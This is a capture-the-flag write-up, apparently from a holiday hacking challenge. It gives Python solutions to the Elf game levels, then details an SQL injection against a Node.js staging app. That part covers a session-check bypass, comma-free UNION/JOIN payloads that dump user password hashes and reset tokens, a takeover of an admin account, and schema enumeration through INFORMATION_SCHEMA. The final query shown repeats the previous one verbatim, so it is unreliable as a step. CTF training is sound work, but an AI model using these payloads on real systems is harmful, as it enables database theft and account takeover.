
Getting the hints
To get the hints, we need to win 8 levels of the Elf Python game.



Level1
import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveTo({"x":2,"y":2})
Level2
import elf, munchkins, levers, lollipops, yeeters, pits
import elf, munchkins, levers, lollipops, yeeters, pits
lollipops=lollipops.get()
lollipops.reverse()
for lol in lollipops:
print(lol.position)
elf.moveTo(lol.position)
elf.moveTo({"x":2,"y":2})
Level3

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveTo({'x':6,'y':12})
lever0 = levers.get(0)
lever0.pull(2+lever0.data())
elf.moveTo({'x':2,'y':2})
Level4

import elf, munchkins, levers, lollipops, yeeters, pits
# Complete the code below:
lever0, lever1, lever2, lever3, lever4 = levers.get()
objects = ["str",True,3.2,[1,2],{"f":1}]
levers = levers.get()
levers.reverse()
i=0
for lever in levers:
elf.moveTo(lever.position)
lever.pull(objects[i])
i+=1
elf.moveUp(2)
Level5

import elf, munchkins, levers, lollipops, yeeters, pits
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveLeft(2)
lever4.pull(lever4.data()+" concatenate")
elf.moveUp(2)
lever3.pull(not lever3.data())
elf.moveUp(2)
lever2.pull(1+lever2.data())
elf.moveUp(2)
appended=lever1.data()
appended.append(1)
lever1.pull(appended)
elf.moveUp(2)
modfied_dict=lever0.data()
modfied_dict["strkey"]="strvalue"
lever0.pull(modfied_dict)
elf.moveUp(2)
Level 6

import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete the below code
lever = levers.get(0)
data = lever.data()
if type(data) == bool:
data = not data
elif type(data) == int:
data = data * 2
elif type(data) == list:
data = data+1
elif type(data) == str:
data=+data
elif type(data) == dict:
data['a']=1
elf.moveTo({"x":2,"y":4})
lever.pull(data)
elf.moveTo({"x":2,"y":2})
Level 7

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(1)
elf.moveUp(12)
elf.moveLeft(2)
elf.moveDown(12)
elf.moveLeft(2)
elf.moveUp(12)
elf.moveLeft(2)
elf.moveDown(12)
elf.moveLeft(3)
elf.moveUp(10)


import elf, munchkins, levers, lollipops, yeeters, pits
for lollipop in lollipops.get():
elf.moveTo(lollipop.position)
elf.moveTo({"x":1,"y":4})
munchkin=munchkins.get(0)
q=munchkin.ask()
munchkin.answer(list(q.keys())[list(q.values()).index("lollipop")]
)
elf.moveTo({"x":2,"y":2})

The following hints are now available:

They actually provides links to the documentation of express-session and mysqljs that are apparently used in the app. All right, let’s start the challenge.
The Challenge
Very quick check of the used libraries
Nothing special about known vulnerabilities for express-session and mysqljs.
Naive high level check of the code and the app
According to the source code, we understand that it’s about a NodeJS application. The files that we will potentially be interested in the most are ./server.js and ./sql/encontact_db.js.

The main page of the application include an text input to subscribe.

It’s only data input we are aware of until the moment. Let’s try to input some character and see what happens.

Ok, there is a browser filtering, that I was able to bypass by changing the input type to text instead of email.

We now can submit anything

But nothing exciting as I haven’t seen any or interesting feedbacks appearing when I sent a single quote character.
Getting more in depth find SQLi in the code
Let’s start by checking the code handling the POST request when submitting an email using the main page.

According to Chrome dev tools/network, the data is transmitted to the endpoint /testsite. Let’s have a look at it:

Bad news, special chars are escaped tempCont.escape(data) as you can see in line 90. Good new, this makes my checkup approach be focused on checking these escapes with the hope to find a vulnerability. Let’s check all the REST endpoints of the app by searching the strings “app.post(‘” and “app.get(‘”.


I got 15 GET and 16 POST. Let’ts dig more by analysing all the SQL queries and how user params are concatenated in each of the endpoints. Let’s search for “tempCont.query(“.

There are 28 of them. Let’s find the ones that use escaping:

Only 13 are escaping the parameters. Which mean that we still need to check 15. While making this check I found another sanitize technique, which is using place holders, like in the following query.

Let’s check for the other places where placeholders are used.

As you can see it’s used in at least 2 queries (as this syntax is not the only possible implementation of using placeholders). So we now know that we have at least 12 queries where there is a potential SQL injection vulnerability.

The line 207 seems to be interesting as inside the escaping another function m.raw is being applied on the parameter string. Let’s check what is “m”!

As you can see, according to the line 6, m is mysql library. Time to use the hint! let’s check what is “raw” method in the documentation.

It says that raw raw will skip all escaping! and this is what we are exactly looking for.
So we now have query where no escaping/placeholder are user! The endpoint is /detail/:id and the condition to reach this query is to input a parameter “id” which contains “,“. Unfortunately there is a “bad new” in line 200, the user needs to have a session (signed in) to reach this endpoint and thus this query. The following is what I get when I put the address https://staging.jackfrosttower.com/detail/1 a redirection to the login page.

So the next steps are 1-to bypass the session check (as we know there no way to login because we cannot make injection in other location of the app including the /login) 2-send a payload to “/detail” using the parameter “id”.
Bypassing the session
Well it took me some time/frustration to find a way making this happen. In the beginning I said I must find a place to make an injection to login (even if know that’s not possible) so I check almost every single line of code ^^but did find anything. I also spend some time playing with bycrypt function and the session/cookies details and didn’t succed.
Then I went back to the line 200 and started staring at it, and I said the only solution know is find a place where a value is assigned to this variable, so CTRL+F “session.id =” or “session.id=”.

It’s present in 7 location, let’s try to identify a location where it is assigned without having a session (not inside a if (session.uniqueID)) and outside the login endpoint (as it requires credentials verification).

So as you can see, we found a place where sessionID is assigned without session check and an outside login endpoind!
Let’s try to understand the code. So according to the route it’s about a page where a user can add his contact. An SQL query will then be executed to check if the email is in the database (141-149), if it is the case: session.uniqueID will get a value (email but not very important) and we will be able to reach /detail/ in order to make an injection.
So in order to bypass the session check we need no to add the same email two times! let’s do it. We put the URL /contact

We click on save and we get

Let’s do it another time

We got “Email Already Exists” and we read it “You now can make an in injection”. Let’s dot it!
Let’s check that we have access to /detail/:id without a session using the URL /detail/1 for example:

So we bypassed the session check ! Let’s know prepare a payload.
According to the code, the id parameters can be a single value or a comma separated multiple values, so we need to check in what case, there is more chance that the injection succeed. Let’s start by making a naive test by inputing 1 or 1=1;–
Result: It behave normally, by returning the id = 1 contact.
So let’s try 1,1 or 1=1;–

The injection has succeeded! So new we have an endpoint and a payload structure to make injection.
Finding the TODO list
Trying out an admin access
It was a big journey! I firstly started by finding a way to have an admin access with the hope the find something (even if the code says it’s impossible). I did it by list all users from the users table and use a token of an admin to make /forgetpass.
The injection I initially tested to get the content or all users is
1,1 union select * from users;--
As a reminder: In order for union to work in SQL, the two concerned tables must have the same number of parameters. Which is the case here according to the file ./sql/encontact_db.sql. The returned result will all have the first table column names.

I launched the injection, It returned the following error:

So, why are we getting an error. The problem happen when JS tries to apply dateformat (which it normally applies on date_update) on an a token (which is now called also date_update after the union of users with uniquecontact). To fix this issue, we need to “hard code” the token value to an empty value as not dateformat is applied ins this case as you can see in line 26 (./webpage/details.js)

To apply this replacement we use the case clause in SQL as the following:
SELECT CASE token WHEN "" THEN "" ELSE "" END AS token FROM users;
Now, there is problem to apply this transformation, which is that we need to use “,” in the query (as it will not be a simple SELECT * in this case), and if you remember the code split the parameters id by “,” ! So we need to find a way to avoid the usage of “,” and still have a functional query. I did it using multiple joins as the following:
https://staging.jackfrosttower.com/detail/1,2,3,1 or 1=1 union SELECT * FROM (SELECT CASE token WHEN "" THEN "" ELSE "" END AS token FROM users)UT1 JOIN (SELECT id FROM users)UT2 JOIN (SELECT name FROM users)UT3 JOIN (SELECT password FROM users)UT4 JOIN (SELECT email FROM users)UT5 JOIN (SELECT date_created FROM users)UT6 JOIN (SELECT user_status FROM users)UT7 ON UT1.token=UT2.id OR UT1.token=UT3.name OR UT1.token=UT4.password OR UT1.token=UT5.email OR UT1.token=UT6.date_created OR UT1.token=UT7.user_status OR 1=1;--
When we launch this query, we get the content of both tables, uniquecontact and users. the content of users is displayed in the end of the page.
So now I have access to some admin user tokens, as the following example:

I used this token to change the password of this user and I got an admin access. It didn’t helped. No access to the TODO list.
Digging more in the database
The next thing I tried was to list all the tables in the database and try to find any signals about a hidden table that may contain a TODO list. In order to do it I made some documentation about the MySQL table INFORMATION_SCHEMA.TABLES, did a lot of tests, constructed the following query and I launched it:
https://staging.jackfrosttower.com/detail/1,2,3,1 or 1=1 union SELECT * FROM (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_TYPE="BASE TABLE" limit 1)UT1 JOIN (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES limit 100)UT2 JOIN (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES limit 1)UT3 JOIN (SELECT TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES where TABLE_TYPE="BASE TABLE" limit 1)UT4 JOIN (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES limit 1)UT6 JOIN (SELECT create_time FROM INFORMATION_SCHEMA.TABLES limit 1)UT5 JOIN (SELECT CASE TABLE_NAME WHEN "" THEN "" ELSE "" END AS TABLE_NAME FROM INFORMATION_SCHEMA.TABLES limit 1)UT7 ON UT7.TABLE_NAME=UT2.TABLE_NAME OR UT7.TABLE_NAME=UT1.TABLE_NAME OR UT7.TABLE_NAME=UT3.TABLE_NAME OR UT7.TABLE_NAME=UT4.TABLE_TYPE OR UT7.TABLE_NAME=UT5.create_time OR UT7.TABLE_NAME=UT6.TABLE_NAME or 1=1;--
And among the tables I got as a result, there is one called TODO!

The next step is to get the schema of todo table. I did it using the following query:
https://staging.jackfrosttower.com/detail/1,2,3,1 or 1=1 union SELECT * FROM (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT1 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='todo' limit 10)UT2 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT3 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT4 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT6 JOIN (SELECT CASE COLUMN_NAME WHEN "" THEN "2022-01-01" ELSE "2022-01-01" END AS COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS)UT5 JOIN (SELECT CASE COLUMN_NAME WHEN "" THEN "" ELSE "" END AS COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS)UT7 ON UT7.COLUMN_NAME=UT2.COLUMN_NAME OR UT7.COLUMN_NAME=UT1.COLUMN_NAME OR UT7.COLUMN_NAME=UT3.COLUMN_NAME OR UT7.COLUMN_NAME=UT4.COLUMN_NAME OR UT7.COLUMN_NAME=UT5.COLUMN_NAME OR UT7.COLUMN_NAME=UT6.COLUMN_NAME or 1=1;--
And here is the result, it contains 3 columns: id, not and completed.

We now need to adapt the schema of toto to the schema of unique contact (remember union). I did in the following query:
https://staging.jackfrosttower.com/detail/1,2,3,1 or 1=1 union SELECT * FROM (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT1 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='todo' limit 10)UT2 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT3 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT4 JOIN (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS limit 1)UT6 JOIN (SELECT CASE COLUMN_NAME WHEN "" THEN "2022-01-01" ELSE "2022-01-01" END AS COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS)UT5 JOIN (SELECT CASE COLUMN_NAME WHEN "" THEN "" ELSE "" END AS COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS)UT7 ON UT7.COLUMN_NAME=UT2.COLUMN_NAME OR UT7.COLUMN_NAME=UT1.COLUMN_NAME OR UT7.COLUMN_NAME=UT3.COLUMN_NAME OR UT7.COLUMN_NAME=UT4.COLUMN_NAME OR UT7.COLUMN_NAME=UT5.COLUMN_NAME OR UT7.COLUMN_NAME=UT6.COLUMN_NAME or 1=1;--
And bingo !

The answer is “clerk”.